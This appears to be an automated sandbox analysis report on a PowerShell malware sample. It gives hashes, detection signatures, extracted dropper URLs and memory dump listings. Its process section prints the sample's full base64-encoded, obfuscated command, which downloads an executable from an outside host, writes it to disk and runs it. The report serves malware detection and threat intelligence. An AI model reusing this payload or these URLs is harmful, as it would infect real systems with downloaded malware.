Analysis
- max time kernel
119s - max time network
119s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
20/06/2026, 10:16
General
- Target malware.ps1
- Size 2KB
- Sample260620-maxrssfv8z
- SHA256 d515fcf2f6c8303c95895835f827801499506528a5e083eb2d32802600dfc668
Malware Config
Extracted
-
ps1
-
exe.dropper
http://codecerification.beer/9c7807a011ff3a959237c540f0d16e0aef83c084e9cf0e7f98fd6d372615281f
-
exe.dropper
http://codecerification.beer/8348aeb3ca3281e0?ack=1
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\malware.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -EncodedCommand JABuADcAYQA5ADMAPQAnAEQAbwB3AG4AJwArACcAbABvAGEAZABEAGEAdABhACcAOwAkAG4AZgA0AGQAMQA9ACcAVwByAGkAdABlACcAKwAnAEEAbABsAEIAeQB0AGUAcwAnADsAJABnAGYAMQBiAGMAPQAwADsAJABnAGMANwBhADkAPQAwADsAdwBoAGkAbABlACgAJABnAGYAMQBiAGMALQBsAHQAIAAxADgAMwAxADgANAApAHsAJABnAGMANwBhADkAKwA9AFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABnAGYAMQBiAGMAKgA4ACkAOwArACsAJABnAGYAMQBiAGMAfQA7ACQAdQBmADMAMQAxADQAPQAtAGoAbwBpAG4AKABAACgAMwA2ACwANQA2ACwANQA2ACwANgAwACwAMQAxADgALAA5ADkALAA5ADkALAA0ADcALAAzADUALAA0ADAALAA0ADEALAA0ADcALAA0ADEALAA2ADIALAAzADcALAA0ADIALAAzADcALAA0ADcALAA0ADUALAA1ADYALAAzADcALAAzADUALAAzADQALAA5ADgALAA0ADYALAA0ADEALAA0ADEALAA2ADIALAA5ADkALAAxADEANwAsADQANwAsADEAMgAzACwAMQAxADYALAAxADIANAAsADEAMgAzACwANAA1ACwAMQAyADQALAAxADIANQAsADEAMgA1ACwANAAyACwANAAyACwAMQAyADcALAA0ADUALAAxADEANwAsADEAMgAxACwAMQAxADcALAAxADIANgAsADEAMgA3ACwAMQAyADMALAA0ADcALAAxADIAMQAsADEAMgAwACwAMQAyADQALAA0ADIALAAxADIANAAsADQAMAAsADEAMgA1ACwAMQAyADIALAA0ADEALAAxADIANAAsADQANQAsADQAMQAsADQAMgAsADEAMQA2ACwAMQAyADcALAA0ADcALAAxADIANAAsADEAMQA2ACwAMQAyADAALAA0ADEALAAxADEANwAsADQANwAsADQAMgAsADEAMgA0ACwANAAxACwAMQAyADMALAA0ADIALAAxADEANwAsADEAMQA2ACwANAAyACwANAAwACwAMQAyADIALAA0ADAALAAxADIANwAsADEAMgAzACwAMQAyADYALAAxADIAMgAsADEAMgA1ACwAMQAyADEALAAxADIANgAsADEAMQA2ACwAMQAyADUALAA0ADIAKQB8ACUAewBbAGMAaABhAHIAXQAoACQAXwAtAGIAeABvAHIANwA2ACkAfQApADsAJAB0AGQAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoAFsASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApACwAWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAKQA7AFsASQBPAC4ARABpAHIAZQBjAHQAbwByAHkAXQA6ADoAQwByAGUAYQB0AGUARABpAHIAZQBjAHQAbwByAHkAKAAkAHQAZAApAHwATwB1AHQALQBOAHUAbABsADsAJAB0AGYAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAdABkACwAWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAKwAnAC4AZQB4AGUAJwApADsAJAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAKAAnAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAJwApADsAJABvAGsAPQAwADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAzACAALQBhAG4AZAAgACEAJABvAGsAOwAkAGkAKwArACkAewB0AHIAeQB7AFsASQBPAC4ARgBpAGwAZQBdADoAOgAkAG4AZgA0AGQAMQAoACQAdABmACwAJAB3AGMALgAkAG4ANwBhADkAMwAoACQAdQBmADMAMQAxADQAKQApADsAaQBmACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEUAeABpAHMAdABzACgAJAB0AGYAKQApAHsAJABvAGsAPQAxAH0AZQBsAHMAZQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAfQB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAfQB9ADsAaQBmACgAIQBbAEkATwAuAEYAaQBsAGUAXQA6ADoARQB4AGkAcwB0AHMAKAAkAHQAZgApACkAewBlAHgAaQB0AH0AOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHQAZgA7AHQAcgB5AHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAANQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBEAGUAbABlAHQAZQAoACQAdABmACkAfQBjAGEAdABjAGgAewB9ADsAJAB1AGYANAA4ADMAMgA9AC0AagBvAGkAbgAoAEAAKAAxADIAMQAsADEAMAAxACwAMQAwADEALAA5ADcALAA0ADMALAA2ADIALAA2ADIALAAxADEANAAsADEAMgA2ACwAMQAxADcALAAxADEANgAsADEAMQA0ACwAMQAxADYALAA5ADkALAAxADIAMAAsADEAMQA5ACwAMQAyADAALAAxADEANAAsADEAMQAyACwAMQAwADEALAAxADIAMAAsADEAMgA2ACwAMQAyADcALAA2ADMALAAxADEANQAsADEAMQA2ACwAMQAxADYALAA5ADkALAA2ADIALAA0ADEALAAzADQALAAzADcALAA0ADEALAAxADEAMgAsADEAMQA2ACwAMQAxADUALAAzADQALAAxADEANAAsADEAMQAyACwAMwA0ACwAMwA1ACwANAAxACwAMwAyACwAMQAxADYALAAzADMALAA0ADYALAAxADEAMgAsADEAMQA0ACwAMQAyADIALAA0ADQALAAzADIAKQB8ACUAewBbAGMAaABhAHIAXQAoACQAXwAtAGIAeABvAHIAMQA3ACkAfQApADsAJABuAGQANQA1ADgAPQAnAEQAbwB3AG4AbABvAGEAZABTACcAKwAnAHQAcgBpAG4AZwAnADsAdAByAHkAewBbAHYAbwBpAGQAXQAkAHcAYwAuACQAbgBkADUANQA4ACgAJAB1AGYANAA4ADMAMgApAH0AYwBhAHQAYwBoAHsAfQA7AA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/4072-12-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-15-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-5-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-6-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-7-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-8-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-9-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-10-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-11-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-0-0x00007FFAFDADF000-0x00007FFAFDAE0000-memory.dmp
memory/4072-3-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/4072-4-0x00000226602D0000-0x00000226602F2000-memory.dmp
memory/4072-13-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-17-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-18-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-19-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-20-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-16-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-24-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-26-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp
memory/5972-27-0x00007FFAFD950000-0x00007FFAFE2F4000-memory.dmp